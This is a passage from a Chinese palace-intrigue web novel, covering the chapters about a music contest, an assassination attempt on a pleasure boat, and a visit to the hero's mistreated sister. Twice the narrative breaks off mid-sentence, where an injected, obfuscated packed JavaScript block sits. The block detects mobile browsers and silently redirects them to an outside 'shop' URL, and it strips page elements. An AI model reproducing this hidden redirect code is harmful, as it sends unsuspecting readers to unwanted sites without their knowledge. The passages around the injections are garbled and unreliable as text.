于是她一指末尾木牌:“就它了。” 乐师一愣:“这可是音律最难的一首,二位确定要选这首吗?” 历铮抬了抬下巴:“听我娘子的。” 于是二人对视一眼,又同时移开了视线。 云归玉将玉箫凑到了嘴边,历铮的双手抚上琴弦。无人喊一声“开始”,箫声和琴声同时起韵。 琴声优雅,如流水潺潺,箫声悠扬,若山间之风,二者交织掩映,飘向远方。 人们情不自禁地闭上眼,仿佛看到有人于居于山脚下,在溪流边捕鱼、浣衣。 忽而琴声变得低沉,箫声变得肃杀。 画面一转,流水不再,取而代之的是一片荒芜,清风消散,席卷而来的是漫天黄沙。 血腥味充斥在空中,到处是断肢与裂甲,折戟与残旗。 杀声震天,却叫不醒战士们沉睡的尸体。 琴声越发尖锐,箫声愈加激昂,分明无人击鼓,众人却仿佛听到战鼓声声,号角嗡嗡。 终于,当琴声与箫声攀上最高峰,压的人要喘不过气来的时候,乐声倏然平缓了下来。 战场的一切归于寂静。 胜利者搜刮着目之所及的一切战利品,败者要么被俘虏,要么艰难拖着同伴的尸体,狼狈又黯然地退场。 箫声婉转,如歌如咏。琴声沉沉,如泣如诉。 将军百战死,壮士十年归。 屋内女子坐在窗前,手执断掉的木梳,对着铜镜哭泣。 时间轮转,秋冬变换。 终于在一个春天,有人背着行囊,逆光走来。 一瞬间,万物复苏。 乐声缓缓平息,余韵悠长。 云归玉和历铮同时睁开了眼睛。 台下看客如梦初醒。入目之景,乃是百鸟朝凤,焕羽纷飞。 *** 一曲终了,乐师已不及听余下参赛者的演奏,当场宣布二人取得头筹。 云归玉心满意足地抱回了她的彩头,走上旋梯,欲回第六层去。 历铮跟在后面,看了一眼沉默抱着彩头的侍女。 这侍女,他倒是从未在府中见过。 “想不到郡主箫吹得这么好。” “我也想不到,七公子琴弹得这么好。”云归玉心情不错,也有兴致恭维一句。 孟煊看完了全程,见他二人径上六楼,也起身跟着,轻摇手中折扇,啧啧称奇:“琴箫合奏,天衣无缝,你二人还真是天造地设的一对儿。” “孟二公子。” 三人入座,云归玉朝着孟煊略微点头示意。 当初母亲给她的名单里也有他。 大婚夜闹洞房的那群人,排头的那位紫衣公子,正是此人。 她当初没有细看,但如今一看,倒也算是英俊潇洒、风度翩翩。 “锵!” 忽然一阵寒光闪过。 只见一截长剑朝着云归玉直直刺来。 “去死吧,妖女!” 11. 寒毒发作 云归玉的眼前,悬着一柄长剑。 剑尖离她仅有半尺之遥,她眼神微动,却无丝毫惊慌之意。 执剑的少年用尽全力,却无法再前进分毫。 只因他的剑遇到了一左一右两股力量的阻拦。 历铮两指夹住剑刃,他看着对面用短刀架住剑刃的绿衣侍女,不由朝云归玉看了一眼。 云归玉淡定地给自己倒了杯茶。 侍女见刺客被阻止,手臂微撤后又迅速抬起,反手朝着刺客的胸口刺去! 她接到的指令是,只要目标出现,直接格杀勿论! 因而在确保之后要付她佣金的雇主性命无忧后,她立马就要完成她的任务。 “锵!” 历铮指尖一弹,被他夹住的那把剑便断成两截,飞出去的剑尖与侍女手中短刀相撞,恰好阻止了她取人性命的动作。 那侍女见一击不成,还要再来,被云归玉淡淡叫住:“十一。” 十一挥刀的手臂在空中骤停。 孟煊见状,笑眯眯地收回了折扇中的铁骨刺刃。 不过……他的好兄弟,大抵也不需要他的帮忙罢。 他看着刺客手中的断剑,眯了眯眼。只用手指便能将铁剑震断,这是何等强悍的内劲?他也自诩武艺高超,却自问做不到这般厉害。 看来他的武功,还需再多加精进。 云归玉她抿了口茶水,对十一说:“先把他绑了。” 雇主的话,十一只好照做。 她收回短刀,眼中因杀意而凝聚的专注消退,从怀里掏出麻绳,三下五除二将刺客五花大绑仍在地上,这才有空回想刚才的过招。 方才被那俊美少年屈指弹出的断剑,在阻滞她的动作后擦着刀身而过,竟是去势不减,狠狠钉在她身后的木栏上,生生没入了一指之深。 她眼底惊讶一闪而过,向云归玉投去一个眼神:有这等高手在身边,你真的需要雇我来保护? 可惜她的雇主此刻正看着别处,并没有接收到她的眼神。 历铮方才那一招瞧着确实厉害,颇有几分当世高手的风范。 可他终究是以毫无遮挡的皮肉与坚铁利器相触,肉体凡胎,哪能毫发无损? 那苍白修长的手指,不久前还在琴弦上肆意飞舞,此刻却缓缓流下两缕刺目猩红。 云归玉微不可查地皱了皱眉。 呵,这男人,就爱逞英雄。 她掏出丝帕叠成条状,拿过历铮的伤手,包扎起来。 历铮任由云归玉着他的手,盯着她垂下的眼睛,说:“这人,我要带回刑部审问。” 云归玉一边给他包扎,一边道:“当众行刺大楚郡主,这难道还不够判他死刑么?我就是当场处决了他,皇上也绝不会多说什么。” 她看了眼旁边的孟煊,对历铮称呼道:“夫君。” “你的妻子刚才差点丢掉性命,难道你不想立刻为她报仇,而是要她忍气吞声吗?” 这一句话直接把历铮架在那里,若非孟煊知道些许内情,怕是也要觉得他是个对妻子冷血无情之人了。 历铮道:“夫人,你难道就不想知道,是谁要刺杀你,又为什么刺杀你吗?” 还是说,你本来就知道? 那个叫做“十一”的侍女,方才分明是想灭口。 “妖女!你不得好死!”那蒙面少年刺杀未果,挣扎吼叫起来,眼中恨意炽盛。 十一眼疾手快地拔了他的面巾,往他嘴里塞满抹布。 一旁的孟煊直接看呆了。 这侍女是从衣服里掏出来的白布条,寻常人谁没事往衣服里藏白布条啊,简直像是提前准备好的一样。 只是下一刻,他惊讶的表情变成了若有所思的微笑。 这刺客,有点眼熟啊。 十一动作很快,及时阻止了刺客大叫引人注意,但面巾一摘,历铮和孟煊都看见了他的面目。 那是谢相的儿子,谢贵妃的弟弟,谢承光。 历铮:“谢家的小儿子?难怪你要杀他灭口。” 云归玉略带责备地看了眼十一。 十一:“……” 她只擅长杀人,哪能想得到自己还需要为刺客遮掩身份啊? 历铮:“今天,我一定要带他回刑部。” 云归玉给他包好伤口,将巾帕打了个结,才道:"你大可一试。" 巧了,她今天也必须杀了谢承光。 二人互不退让,争夺着谢承光接下来的归属权,那少年却忽然大笑了起来。 他被堵住嘴,其实是做不出大笑的表情的,只是发出"噗噗噗噗噗"的声音,倒显得有些滑稽。 只是看他的眼睛,又确实在笑。 他在笑什么? “走水了!走水了!” “救火!快救火!” “救命啊!” 忽然,下方惊呼声四起。 四人往下一看,发现除了第七层,花船的每一层皆燃起大火,火势不知为何,蔓延极快,顷刻间,小半只花船已被火舌吞没。 照这样下去,第七层也撑不了多久。 人们挤到还没被烧的半边,有人已经跳了河,游向岸边。 也有人慌不择路,想逃到第七层来,却见几人端坐的端坐,摇扇的摇扇,站立的抱臂闲立,从容不迫,哪有一点火烧到脚底板的慌乱? 历铮:“只能让大家跳河里去,能救几人是几人,含章,你和我一起。” 孟煊收起了那总是吊儿郎当的笑,点了点头。 他站起身来,气沉丹田,高声道:“所有还想活命的,立刻跳河!” 历铮转向云归玉:“郡主,你会水吗?” 云归玉站起身来,道:“会。” 然后跃上栏杆,第一个跳了下去。 历铮:“……” 他不再犹豫,和孟煊一起,也跳下了水去。 *** 岸边。 云归玉站在岸上,看着历铮和孟煊两人一次次架着人游到岸边,再回到水中,去救更多的人。 她目光中有嘲讽,也有不解。 正如她是自己游回来的一样,他们要救人,也只能如此。轻功再强的人,也需借力才可飞檐走壁,而水上并无能够借力的地方,“凌波微步”那种功夫,只有话本里才能存在。 而这般不知疲倦地下水,不厌其烦地带人往岸上游,终有气力耗尽之时,若是停在半途,岂不是连自己的命也丢了。 “找了你一圈,原来在这看戏呢。”十一带着一身湿意出现,她将手中已经昏死过去谢承光扔在地上,“刚才你招呼都不打一声就跳下去,也不告诉我这人到底怎么处理。” 云归玉没有立刻答话。 良久,她道:“按原先的计划,处理了吧。” 十一点点头,没有丝毫犹豫,指尖用力,一枚暗器发出,刺入了谢乘光的心口, “你以前从来不会犹豫这么久,这不像你。是因为那个男人的话吗?” 云归玉扔给她一锭金子,轻笑一声:“你以前也不会对自己的雇主说这么多废话,这也很不像你。” 十一耸耸肩,收了金子,便打算走了。 云归玉:“等等。” 十一:? 云归玉指指地上的尸体:“你把他留在这里,是等着人来发现吗?” 十一挠挠头:“我们春风斋的人接活儿,向来只管杀,不管埋的。” 云归玉抬抬下巴:“那你现在可以埋第一次了。” “而且,你也早已不再是春风斋的人了。” 十一把尸体扛起,道:“好吧,你给的钱,你说了算。” 十一走后,云归玉再去看河面,已找不到历铮的身影,感受到夜风中的凉意,整了整衣物,准备打道回府。 身后忽然响起声音,带着淡淡的潮意。 “那位叫‘十一’的女子,根本就不是侍女吧。” 方才在她视线中消失不见的人,却忽然自她身后出现,逐渐走到她的身边,嗓音微哑,说:“她的运刀手法,像是江湖杀手。当时即使我不出手,你也会毫发无伤。” “十一和谢承光都不见了,若我没猜错,她已经杀了人,毁尸灭迹去了,对吗,郡主殿下?” 云归玉眼神平静,没有否认。 今日她之所以来参加这个花船宴,不为交友,不为寻欢,只为以身做饵,引出一条鱼来。 谢相虽然倒台,却仍有些许忠心耿耿的旧人散落各处,自从谢相被下狱后,谢承光便被谢党带走藏起来了。 那点谢氏余党当然成不了什么气候,可只要谢承光还在,他们就永远有一面旗帜竖在那里,永远抱有东山再起的希望。 蝼蚁虽弱,可总来骚扰,也着实烦人。 更何况,无论是皇后还是她,信奉的都是斩草除根。 于是她暗中放出消息说,谢氏遭难,是她仪和郡主一手促成,然后再大摇大摆地来参加花船宴,为的就是引谢承光上钩。 这方法其实并不算很高明,毕竟稍微有点脑子的人,都不会贸然出现,她赌的就是少年人的沉不住气。本也没抱太大希望,可他既然真的来送死了,那她便不可能放过。 历铮的出现不在她的计划之中。 云归玉有些许烦躁。 她做事向来只为达目的,从不在乎过程,也无需向谁解释什么,今日花船宴会碰到历铮纯属意外。 但他到底为什么非要跟她作对? 谢承光要刺杀她,她身为郡主,将刺客就地正法,于情于理都没太大的毛病。 “历七公子总不会因为谢家那个也是个傻子,便对他产生了同情之意。” 历铮本来平静的目光,忽而凌厉非常。 话出口的瞬间,云归玉也意识到了,这句话不妥。 一个“也”字,等于是将历海宁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898006|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂了进去。 夜风微凉,打在湿衣服上,云归玉不想在这时露怯,脊背挺直,没有丝毫瑟缩之意。 历铮见她连句解释也不愿说,顿觉意兴阑珊。 他早知她是什么样的人,又何必要一探究竟? 一时之间,他也懒得顾及在外面要假装夫妻恩爱的事,抬脚便走。 身后忽而传来几声咳嗽。 历铮脚步一顿,没忍住回头看了眼。 云归玉湿漉漉地站在那,几缕湿发顺着白皙脖颈而下,落入锁骨更深处。那白生生的皮肤晃得他眼花,恍惚之间忽然生出个念头。 这女人是他妻子,虽然没有感情,但好歹事明媒正娶,有名有分。或许作为丈夫,他应该有一丝退让。 何况,她曾经还帮过阿宁。 见她微微发抖,似是冷了,历铮抬手便要脱下自己的外衫给她披上,只是手指触到一片湿润,他这才想起来,自己也是浑身湿透,于是只得作罢。 “回府吧。” 云归玉不明白他为何态度转变,挑眉问:“侍郎这是不打算追究了?” 历铮从喉咙里逼出个“嗯”字来。 人已死,他揪着不放也没有什么意义。 二人在马车上,一路无话。 *** 沐浴过后,历铮躺在榻上,罕见地没什么睡意。他翻身坐起,盯着侧门上微微飘动的门帘。 他的新婚妻子,就睡在这一帘之隔的地方。 第一次见面,她便控蛊想要伤害谢贵妃,他看得分明,她就是冲着要谢贵妃的命去的。 新婚不久,她便去了刑部大牢,大抵也是用的蛊虫,威逼谢相。 今日,她又以身做饵,引出谢家最后的独苗,然后毫不留情地斩草除根。 他真的还能在这里安睡吗? 可她至少还没有伤害过他。 她晨起为他束发,午间给他送饭,日落接他下衙,方才在船上为他细细包扎伤口。 他有什么她能图的? 他略微思索,得出了一个之前便有所察觉的答案。 皇后已经怀孕了。 所以,不论是出自皇后的授意,还是出于她自己的想法,她图的都是,历家在皇储一事上的支持。 不管将来如何,起码现在的历家,确实是大楚第一权贵。 忽然,他注意到隔壁间那人的吐息陡然变得急促。 历铮凝神细听,听到一声声压抑的痛呼。 可这与他有何关系? 历铮重新躺下,闭上眼睛,再次试图进入梦乡,却始终无法忽略那微弱的呻吟。 辗转反侧,无法入睡。 半晌,他还是起身到了主屋,点了一盏油灯,走到床边。 他撩起床幔,只见床上的人神色痛苦,额间满是冷汗。 看她这模样,绝非普通风寒。不像是冷的,更像是疼的。 历铮神色复杂。 或许,他该给她找个大夫来。 也或许,他就应该不管她,本来他们俩就不是一路人。 最终,他还是轻轻执起她的手,掌心贴上了她细白的手腕。 云归玉神思混沌,迷糊中只觉深处冰天雪地中,手中却忽然出现了个小手炉,一种熨贴的暖意自手心传到了身体各处,那种蚀骨疼痛被大大缓解。 内心的那根弦非但没有放松下来,反而得更绷紧了。 她条件反射地想要将手中的暖炉扔掉。 只因这东西的出现太过反常。 以往的每一次,都从来没有出现过这东西。 唯独这次。 事出反常必有妖。 若是她贪了这份暖,后面是不是会有更大的代价等着她? 可不知为何,她又有些想要相信,这次就是老天给她的补偿。 慢慢地,她竟无知无觉地睡了过去。 *** 云归玉醒来时便知道,自己昨夜又寒蛊发作了。 当年与大祭司一战,她虽然胜了,可大祭司的两仪蛊却留在了她体内。 她想了许多办法,却始终无解。 所谓两仪蛊,有寒蛊,也有热蛊。到现在为止,她只经受过寒蛊。 只是这次,竟没有以前发作时那样难受。 她撑着身子坐起,才发现手下那块布,有人的体温。 床边还有燃尽的油灯。 有人在她床边坐过。 云归玉再一看床边,摸到一块未干的血渍。 为什么会有血?在这历府中,又有谁,能够在深夜坐在她的床边? 她很快想到,确实有那么一个人,耗散真气,便会呕血。 所以昨夜她梦中出现在手中的暖炉,不是毫无来由的。 某人给她输了一晚上的内力。 恰在这时,历铮端着水和帕子进来了。 四目相对,时间仿若有一瞬间的停滞。 12. 历家五姐 历铮:"……" 他昨夜内力消耗过多,没忍住吐了一口血,于是便出门去打水,想要回来将血擦干净,却是没想到云归玉已经醒了,一时有点怔愣。 但他又很快反应过来,自己又没干什么坏事,何必要跟做贼似的? 于是他神色自若地关上门,正欲开口,便听见床边的人说:"昨夜,多谢历七郎君。" 历铮从不挟恩图报,但也不会对自己干过的事遮遮掩掩,于是他坦荡地点点头,拿着帕子进门,上前把床头的血迹擦净。 云归玉静静看着他的动作。 历铮擦完血,说:"那你好好休息,我上衙去了。" 云归玉"嗯"了一声。 她当然没有好好休息。 用过早膳后,云归玉去了后院,那里有一方药圃,是她之前命人开辟的。 她在这里种了些奇花异草,左边的鲜艳一些,是毒药,用来养虫。吃毒药养出来的虫,更容易选做蛊种。 右边的素净一些,是草药用来给历铮养身体。 春晨日挂,草叶葳蕤。 云归玉拎着个水壶,给脚下的药苗浇水。 搜罗来的医书她已经看完,医理结合毒理,她已对历铮所中之毒有所了解。历铮的情况,身体亏空较为严重,需要先调养身体,然后再以毒攻毒。 她对着医书完善自己的药方,亲自照看药苗,采药、熬药。 *** 某日休沐,历铮起床路过主屋时,见云归玉的床铺竟然已经无人。 她平日可都是要睡到日头大盛之时的,今日这是做什么去了,起这么早? 很快他的疑问得到了答案。 在用早膳前,云归玉端着一碗黑乎乎的药,递给他,言简意赅:"喝了。" 历铮问:"这是?" 云归玉:"我说过要帮你解毒,这是调理身子的药,等调好了,我助你以毒攻毒。" 历铮看着那碗药,没动。 云归玉想了想,倒也理解他的谨慎。 他这毒便不知道是什么人在什么时候下的,又如何能再轻信他人?何况,她与他之间,并不是能互相信任的关系。这场婚姻,本就是她存着利用的心思。 云归玉皱了皱眉,自己喝了一大口,再次递给他,说:"在这事上,我不会害你,信不信由你。" 历铮沉默半晌,就在云归玉手都端的酸了,准备算了的时候,忽然感觉手中一轻。 他拿过药碗,喉结滑动,将褐色药汤一饮而尽,道:"用膳吧。" 那药汤是很苦的,云归玉见他喝完表情痛苦,挑了挑眉。 历铮:"用膳吧。" 云归玉点点头。 用完早膳后,见历铮似要出门,她随口问道:"去哪?" "去看我五姐,你要一起吗?" 话一出口,历铮便有些后悔。 他的阿姐,她去看什么?他们又不是真正的夫妻。 云归玉却点了点头,"去吧。" 历铮有些诧异,但也没说什么,叫人去备车备礼去了。 这一次历铮没有自己骑马,而是和云归玉一起坐在马车里。 历铮的五姐,名唤历淑,被皇帝赐婚,嫁给了李家宗室建平王。老建平王死的早,他的儿子李兆在及冠之时便袭了王位,只比历淑大两岁。 建平王府坐落于康仁坊,一西一东,与历宅相隔较远,马车行了近一个时辰,才终于到达。 门口小厮老远看见车驾到的时候便去告知管家,因此管家早已等在门口。 见历铮和一华服女子从马车上下来,第一时间便想明白了那女子的身份,行礼道:"七爷和郡主稍等,容小的去通传一下,家主若是知道您来,必定亲自相迎。" 他站在门口,神色恭敬,却不停地给身边小厮使眼色。 历铮摆摆手:"不必迎接,我来看看五姐,待会儿就走。" 管家引二人去了正厅。 “请二位在此稍候,家主正在更衣,很快便来。” 主院,屋内。 "王爷!王爷!快起来!快起来!"小厮着急忙慌地跑过来,在门外通风报信。 李兆正在床上和爱妾缠绵,不耐烦地砸了个东西到门上:"大早上的吵吵什么?!" "王爷,历七少来了!" "管他谁来,本王……"李兆话说一半,忽然住了嘴。 爱妾一手环上李兆的腰,嗓音黏腻:“王爷,怎么了?” 李兆却一把扒开爱妾缠在他腰上的手,慌乱地开始穿衣服,然后急急奔到会客大厅。见果是历七那个冤家,正端着碗茶在喝,旁边竟还坐着个美娇娘。 他控制自己的眼睛不瞟向一旁的美人,咽了咽唾沫,朝历铮挤出个笑来,道:"崇渊啊,你要来怎么不提前打声招呼,我也好吩咐厨房准备你爱吃的食物啊。" 历铮瞧他衣领都未收拾齐整,身上还有脂粉香气,顿时厌恶地皱起眉头。 听他唤他的表字,只觉心里膈应至极。 他五姐爱养花,平日身上只会沾染草木芬芳,并不会有这等俗粉的味道,看来,他这这又是刚从哪个小妾床上下来的。 这人从前他便瞧不上,若非皇帝态度坚决,他怎么可能让五姐嫁给这个草包? 云归玉观李兆对历铮那唯唯诺诺的样子,心中觉得甚是有趣。 京城纨绔子弟众多,一半儿敬他,一半儿怕他,这建宁王身为郡王,竟也是后者。 “我阿姐呢?” 李兆一愣。 他之所以会怕历铮,是因为曾不止一次地被他狠狠揍过,从小的阴影,即是他现在已经继承王位,还成了他的姐夫,也无法消除。 他依旧怕的要死。 但是历淑那个女人,却没什么好怕的。 那个女人从小就温婉柔弱,一开始,他还因为她是历山苍之女有所忌惮,可后来发现,那个女人不知为什么,即使受了委屈,也从没向历山苍和历铮告状,于是便渐渐肆无忌惮起来。 他整日和爱妾缠绵,对历家那女人并不关心,怎知道她去哪儿了? “她,她在……”李兆支支吾吾,半天说不出个所以然来。 历铮不再拿正眼瞧他,起身亲自去找。 云归玉也跟着起身,经过李兆时才发现,这人竟一直盯着她,并不掩饰目光中的垂涎。 她冷笑一声。 历铮回过头来:"怎么了?" 云归玉淡淡道:"没什么,走吧,去找你五姐。" 历铮点点头,带着云归玉轻车熟路地在王府里行走,来往仆从丫鬟认得他,皆低头行礼。 李兆从云归玉的美貌中回过神来,这才发现那两人去的方向是主院。 他心中暗道不好。 历淑早就搬出主院了,他们去只能看到床上的阿欢! 他拔腿追上去,刚到院门,就被从里面出来的历铮一把薅住了衣领。 "你让小妾主主院?那我阿姐呢!" “姐、夫",历铮眼神如刀,一字一顿:"你最好跟我说实话,我阿姐到底在哪?” 云归玉在他身后,瞥了眼主屋紧闭的房门。 方才历铮和她来到这里,甫一进院门,便见一女子从屋内出来,衣物松垮,情态妩媚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898007|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加上房中某种气味弥漫,李兆在来见客之前和谁发生了什么,便不言而喻了。 "她,她现在住凝芳阁,是她自己要求的,真的!"李兆见到历铮一脸怒容,眼神逃避,挣扎着道。 历铮眼神如火,把李兆往地上一扔,抬脚就要照他脸上踹。 云归玉皱了皱眉,上前一步,准备阻止。 虽然她理解他盛怒的缘由,但如此对待一个郡王,终究有些太过了,容易引起不必要的麻烦。 “阿铮。”一个柔和的女声忽然响起。 历铮停下了动作。 一青衣女子被侍女扶着,从不远处走来,脸色有些苍白。 “阿姐?”历铮连忙上前扶住她,"你怎么脸色这么差?是不是李兆欺负你了?" 历淑扫了一眼地上的李兆,安抚地拍了拍历铮:"我没事,小七。先去我院里吧。" *** 凝芳阁。 云归玉、历铮、历淑坐在院中圆桌上,侍女白桃立在一旁,为三人斟好茶水。 “这便是郡主殿下吧?大婚那日不曾看得清楚,如今一见,果真是绝世美人。”历淑微笑看着云归玉。 云归玉回道:“五姑娘也是清秀绝伦。” 历淑一听她的称呼,疏离客气,便知这位郡主与她家七弟果如她想的那样,只有夫妻之名,并无感情。 也是,帝王之命下的婚姻,一向如此。 历铮等她二人寒暄完,看向历淑,问:“阿姐,现在可以告诉我了吗?你为何从主屋搬出来了?当家主母不住主屋,而住偏房,这像话吗?还有,阿姐你的脸色,为何如此差劲?” 历淑不疾不徐道:“我搬来凝芳阁,确实是自愿的,我和李兆没什么感情,与他住在一处也是徒增怨怼,搬出来,还可图个清静。至于脸色,我不是一直如此吗?爹又不让我习武,从小娇生惯养,身体自然不够强健。” 历铮的身体稍稍远离桌台,也不知信了没信,忽然,他抬头看向一旁的侍女,道:“白桃,你来说,我阿姐究竟有没有被王府中人欺负?说实话。” 白桃屈膝行礼,答话道:“回七爷,五小姐在王府,虽有王妃之名,却无王妃之实。空有主母之尊,却无主母之权。建宁王宠妾灭妻,老王妃更是时常让小姐祠堂罚跪,理由是‘无子之过’。” 历铮久久不语,云归玉看见他放在膝上的手,紧握成拳,微微颤抖。 过了一会儿,他才轻声问:“阿姐,你受了委屈,……为什么不告诉我?” 历淑:“多一事不如少一事。” 历铮:“以前四哥在时,阿姐也是明艳张扬的少女,向来有仇必报,何曾向如今这般忍气吞声?” 历淑那一直柔和淡然的脸上总算是出现了点怒意:"别跟我提那个懦夫。" 历铮:“你是不是看我是个命不久矣的废物,所以觉得即使告诉了我,我也并不能为你撑腰?” 历淑皱眉,微微提高声音:“历铮!” 他怎能如此说?! 历铮松开手,倏然站了起来,道:“我出去走走,白桃,好好照顾我阿姐。” 白桃:“是,七爷。” 出去走走?谁信他的鬼话。历淑条件反射地便想开口劝住,却见有一人已经跟了上去。 云归玉走到一半,忽而想起什么,转过身来,朝历淑点了点头:“我去看看。” 历淑一愣,要回应时,云归玉已经跟着历铮离开了。 郡主殿下,竟比她这个阿姐还要先追上去。 她忽然不太确定自己方才的判断是否正确了。 这两个人,真的毫无感情吗? 13. 使些手段 历铮走入一片小树林,越往里走,稍一眺望,便能看到王府主院就在前方。 显然目标明确。 云归玉扯住了他的衣袖。 “哪儿去?” 历铮一直能察觉到她跟在身后,被她一扯,便停下脚步,说:“当然是去把李兆那混账东西打一顿,给我阿姐出气。” 云归玉收回手,道:“你并非如此冲动之人。” 历铮扯了扯嘴角:“你又了解我多少,怎知我不会冲动?” 云归玉没理他的反问,只是说出自己的猜测:“你是想大闹一场,把老王妃逼出来,找她讨要说法。” 这座王府真正的主事人,其实不是建宁王,而是老建宁王的王妃,李兆的母亲,江氏。 她和历铮来到王府,老王妃不可能不知道,却一直没有现身,显然并无出现的打算。 若不是心虚才避而不见,便是根本没把她和历铮这俩小辈放在眼里。 云归玉认为是后者。 历铮:“是,我倒要问问她,‘无子之过’是什么可笑的理由?她自己的儿子不中用,凭何让我阿姐罚跪?” 云归玉只是冷静地与他对视,道:“恕我直言,这样并无作用。且不说老王妃会不会出来,就算出来了,她就能给你满意的说法吗?” “大楚王位世袭,必须由嫡长子继承,若无嫡长子,则爵位自行降级,你阿姐为王妃,却一直无所出,江氏因此痛恨你阿姐。就算她今日应了你什么,改日关起门来,她该怎样还是怎样。” “历四公子当初不愿与同安公主成婚,擅自逃离京城,下了皇家的面子,陛下未曾怪罪,只又赐了一门婚事,但他心中必定不悦。眼下历家不适合因联姻之事与李家宗室起冲突,你阿姐并非性子软弱,她只是顾全大局。” 历铮沉默。 他知道,云归玉说的对。 历家看似风光无限,实则如履薄冰。 皇帝看重历家是真,忌惮也是真。 历家不宜再惹皇帝不快,小打小闹尚无所谓,但若涉及皇家颜面,那便不好说了。 他道:“不闹到老王妃和陛下那里,那我也要去教训李兆,让他长长记性,下次再不敢不敬我阿姐。” 云归玉:“这样做除了让你一时顺气之外,也没什么用。你不可能住在建宁王府,时时刻刻看顾着你阿姐,李兆就是个记吃不记打的,你一离开,你阿姐的日子仍是一样。” 历铮听着她的话,拳头紧了又松,松了又紧,最后自嘲一笑,说:“我老师曾经说过,穷,则独善其身,达,则兼济天下。” “我总以为自己是那个‘达者’,自以为是地去拯救别人,却连我阿姐每日过的什么日子都不知道。更可笑的是,现在我知道了,竟是无能为力。”说罢,他蓦地一拳打上了树干。 那一拳打的狠,有血液从指节处流出,顺着树干蜿蜒而下。 云归玉看得牙酸,递给他一方丝织锦帕。 他那点血,本来平日就吐血吐了大半出去,现在还在这自己造作,也不知道他还有多少血可流。 见他似是冷静下来了,云归玉也不再多劝,她转身离开,把空间留给历铮自己。 出了小树林,云归玉并没有回去历淑的凝芳阁,而是游玩似的饶了一圈,最后停在了一处牌匾书着“清心居”三字的院落,装潢淡雅,有檀香味徐徐飘出。 院门此刻闭着,门外侍女见她过来,先是屈膝行了个礼,而后道:“贵客,我家主人近日斋戒礼佛,不见客。” 云归玉一笑,咬破指尖,欲拿一方巾帕,却摸了个空,这才想起方才已经给了历铮,于是对侍女道:“劳驾,可有巾帕?我裹一下伤口。” 侍女:“……” 这伤口不是您自己咬的吗? 但客人的要求不算过分,于是她拿出自己的棉麻巾帕,递给了云归玉。 云归玉接过,却没有拿来裹伤,而是就着指尖血,在帕面上写了几个字,然后叠起来,递还给侍女。 “劳烦送去给你家主人,她看到这物,自会请我进去。” 侍女有些犹豫,但这人既用血来书写,想来确是要紧事,于是道:“贵客稍后。”然后入院禀报。 片刻后。 侍女打开院门,恭敬道:“贵客,主人有请。” 云归玉进了院门,被侍女引入一间宽阔亮堂的屋子,而后里面的仆从尽皆退出。 这是一间小佛堂。 中间有一宝相庄严的佛祖像,左右两边立着文殊、普贤二菩萨及两位怒目金刚,下方供奉瓜果,香烛袅袅燃烧。 一衣着华贵的妇人正在佛像下祷告,听见关门声,自蒲团上站起,理了理衣衫,转过身来,一双染着世事风霜的眼扫向云归玉。 云归玉风轻云淡地看回去。 少顷,江氏将手中的东西往空中一扔,开口道:“你是何人?” 空中巾帕徐徐落下,血迹书写的“流朱散”三字格外显眼。 江氏并非不知她是仪和郡主,有此一问,实则问的是,她与流朱散有何渊源?为何会知道这个名字? “流朱散是一种无色无味的慢性毒药,药的主人只做了这么一包,被你重金买走,下给了老建宁王,所以,老王爷才会壮年而逝。” 江氏眯了眯眼,声音微厉:“郡主慎言!” 云归玉瞥了一眼慈眉善目的佛像和怒目圆睁的金刚像,“神佛就在你身后,王妃,你既礼佛,难道还敢在此诳语,说自己绝没做过吗?” 江氏的目光倏然狠厉,胸膛微微起伏,显是被她这话气的不轻。 云归玉却继续道:“当年的老王爷风流成性,亦是个宠妾灭妻之人,你在王府举步维艰,对老王爷心生愤恨,你恨他,想要报复他,也更想自己成为王府的掌权人,于是你毒死他,让你那对你言听计从的儿子袭了爵,从此一府大权在握,再不必仰人鼻息的生活。” “如今媳妇熬成婆,你何必让另一个女人走你的老路?” 江氏沉默半晌,终是问道:“你想要什么?” 云归玉:“我只希望,我五姐在这王府里,能得到她原本该有的地位。” *** 云归玉从老王妃的清心居出来,欲要返回凝芳阁寻历铮,途径一花木园,一时兴起,想要看看有没有什么奇虫异种。 她逛了会儿,并无收获,正想打道回府,面前忽然出现一只手,拿着一大簇五颜六色的花,凑到了她的鼻尖前。 云归玉看着那只短而黑的手,第一时间后退了两步。 李兆捧着花,自以为风流倜傥地抻了抻衣袖,朝云归玉道:"鲜花配美人,只有郡主殿下这般的佳人,才配得上这些瑶草琪花!" 云归玉极力掩饰自己的嫌弃,敷衍招呼了声“建宁王”便要走,却被扯住了衣袖。 她当即就想掏刀把这截袖子砍了,再把这衣服烧了。 衣服脏了,不能要了。 李兆一笑,扬了扬眉毛,道:"郡主!先别急着走呀,我已让厨房备宴,可要留下吃个便饭,歇一晚,明日再走?" 云归玉表情一言难尽。 这人明明怕历铮怕地要死,怎么还敢来撩拨他的妻子的? 早在之前他用垂涎的眼神看她时,她便已想把他眼珠子剜了,如今竟还来惹她不快,那她便不可能再放过他了。 云归玉微笑,伸出手,要去接那花。 李兆眼神一亮,眉眼染上得意之色,嘴上不停:"你怎么就嫁给历铮了呢,别看他现在人模狗样的,曾经……" “聊什么呢,这么开心?让我也加入可好?” 听到这声音,李兆手一抖,云归玉也在手碰到花茎的那刻,倏然放手。 花掉在了地上。 